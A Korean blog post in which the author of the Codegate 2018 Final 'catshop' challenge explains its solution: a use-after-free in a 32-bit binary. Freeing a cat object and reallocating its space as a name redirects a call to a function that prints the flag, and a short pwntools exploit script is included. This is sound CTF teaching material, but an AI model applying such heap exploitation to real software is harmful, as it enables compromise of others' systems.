By pesante | April 28, 2018
Codegate 2018 Final Catshop 출제자 Write Up
안녕하세요, pesante
입니다.
2018년도 코드게이트 본선에 출제했던 catshop
에 대해 간단한 풀이를 작성해보았습니다.
catshop
은 본선에서 주니어를 위한 문제로 비교적 쉽게 출제되었습니다.
보호기법은 다음과 같습니다.
gdb-peda$ checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32bit
바이너리이고 NX
, canary
가 걸려있습니다.
해당 바이너리에서는 Use-After-Free
취약점이 존재합니다.
Use-After-Free
는 말 그대로 힙 공간에서 alloc
한 공간을 free
한 후에 reuse
함으로써 일어날 수 있는 취약점입니다.
좀 더 자세한 내용을 알고 싶다면 전 블로그 링크를 참고해봅시다!
바이너리를 실행하면 다음과 같은 메뉴들을 확인할 수 있습니다.
----------------------------------------------------------
1. Buy cat
2. Sell cat
3. Mew
4. Your name change
5. Your name print
6. Exit
----------------------------------------------------------
your choice:
Use-After-Free
취약점에 맞추어 실질적인 기능을 다시 나열해보면 다음과 같습니다.
1. Buy cat -
malloc
2. Sell cat -free
3. Mew -use
4. Your name change -malloc
5. Your name print
6. Exit
Use-After-Free
를 발생시켜 EIP
를 컨트롤하기 위해서는 다음과 같은 과정이 필요합니다.
1.
Buy cat
을 하여 객체를malloc
합니다.
2.Sell cat
을 하여 객체를Free
합니다.
3.Your name change
를 하되, 이 때name의 크기
를 cat 구조체의 크기와 같거나 작게 하여cat의 자리에 할당
되도록 합니다.
- 해당 바이너리 파일에는congFunction
이 존재하는데"cat flag"
를 해주는 역할을 합니다.
-이름
을congFunction의 주소
로 넣습니다.
4.Mew
를 하여 이름으로 덮은 부분을call
합니다. congFunction이 실행되면서 플래그를 읽습니다.
위의 과정을 옮긴 익스플로잇 코드는 다음과 같습니다.
from pwn import *
server_ip='127.0.0.1'
port=8888
sock=''
if __name__ == "__main__":
sock = remote(server_ip, port)
server_address = (server_ip, port)
sock.connect(server_address)
print sock.recv(1024)
sock.send(p32(1))
print sock.recv(1024)
sock.send(p32(2))
print sock.recv(1024)
sock.send(p32(4))
print sock.recv(1024)
sock.send(p32(5))
print sock.recv(1024)
sock.send('\xB6\x88\x04\x08'+'\n')
print sock.recv(1024)
sock.send(p32(3))
print sock.recv(1024)
print sock.recv(1024)
print sock.recv(1024)
print sock.recv(1024)
코드게이트 운영하신 문들, 참여하신 분들 모두 수고하셨습니다!